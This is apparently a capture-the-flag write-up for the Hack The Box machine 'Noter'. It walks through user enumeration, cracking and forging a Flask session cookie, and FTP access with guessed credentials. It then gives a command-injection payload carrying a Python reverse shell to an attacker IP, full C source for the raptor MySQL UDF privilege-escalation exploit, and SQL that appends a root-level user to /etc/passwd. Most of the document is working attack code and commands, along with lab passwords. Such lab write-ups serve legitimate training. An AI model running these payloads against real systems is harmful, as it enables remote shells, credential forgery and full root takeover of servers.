NETWORK

ENUMERATION

Scans

JWT secret password

We know that the technology used here is flask so we can use flask-unsign Let’s guess the JWT secret password

flask-unsign --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidG9tIn0.Yt8dxg.yHbXrLdx2VVzCgt6axWTCVfKGm4'

Users enumeration (using ffuf)

using a fake username and fake password, we get the following message “Invalid credentials”

Using our user “tom” (an existing user) with a random password we get the message “Invalid login”

Let’s run ffuf to enumerate the users (based on the error message)

ffuf -u http://noter.htb:5000/login -d "username=FUZZ&password=whatever" -w /usr/share/seclists/Usernames/Names/names.txt -X POST -H "Content-Type: application/x-www-form-urlencoded" -mr "Invalid login" -s

JWT cracking

Using hydra to brute force our way in didn’t work so we decided to crack the JWT instead.

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'

Looking into the notes

FOOTHOLD

FTP access

FTP as ftp_admin

Knowing the password policy we can guess the ftp_admin user password. Using the credentials ‘ftp_admin/ftp_admin@Noter!’ we can access the FTP

Code review

diff --color ../app_backup_1638395546/app.py app.py

Exploit app.py

Let’s create a markdown file with a reverse shell

';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.9",1234));
os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' # '

Let’s serve the shell via a local serve and post it as url to ‘/export_note_remote’

curl -X POST http://10.10.11.160:5000/export_note_remote -F 'url=http://10.10.16.9/reverse.md' -b 'session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YuMH1w.FJwxHeWt5l5Pd07pcNiBQ0zi9ik'

doing so give us access on the server as low user svc

PRIV ESCALATION

Bypass mysql exploiting user defined function (UDF)

https://www.exploit-db.com/exploits/1518

Let’s create the raptor_udf2.c and paste the payload (from https://www.exploit-db.com/exploits/1518)

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
	return(0);
}
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p # root:Nildogg36

Also, we need to check if the variable secure_file_priv is enabled to allow data import and export operations like load_file and load_data functions.

If the returned value is null/empty, as in the below screenshot, it means the variable is disabled, and we can load data into the database.

show variables like '%secure_file_priv%';

Now we know where we should store the exploit and have all the needed permissions. Next, we will switch to the mysql database and create the UDF function inside mysql to point to our compiled exploit (shared library).

use mysql;
create table foo(line blob);
insert into foo values(load_file('/dev/shm/raptor_udf2.so'));

show variables like '%plugin%';

Next, select the binary contents in the shared library and dump them onto the plugins directory, where UDFS can be stored.

-then, we can finally call the exploit by creating a function that invokes it.

Then add the user hacker to /etc/passwd

select do_system("echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd");

HELPER

The whole mysql privilege escalation in one line

use mysql;
create table foo(line blob); insert into foo values(load_file('/dev/shm/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so'; 
create function do_system returns integer soname 'raptor_udf2.so'; 
select do_system("echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd");


\! sh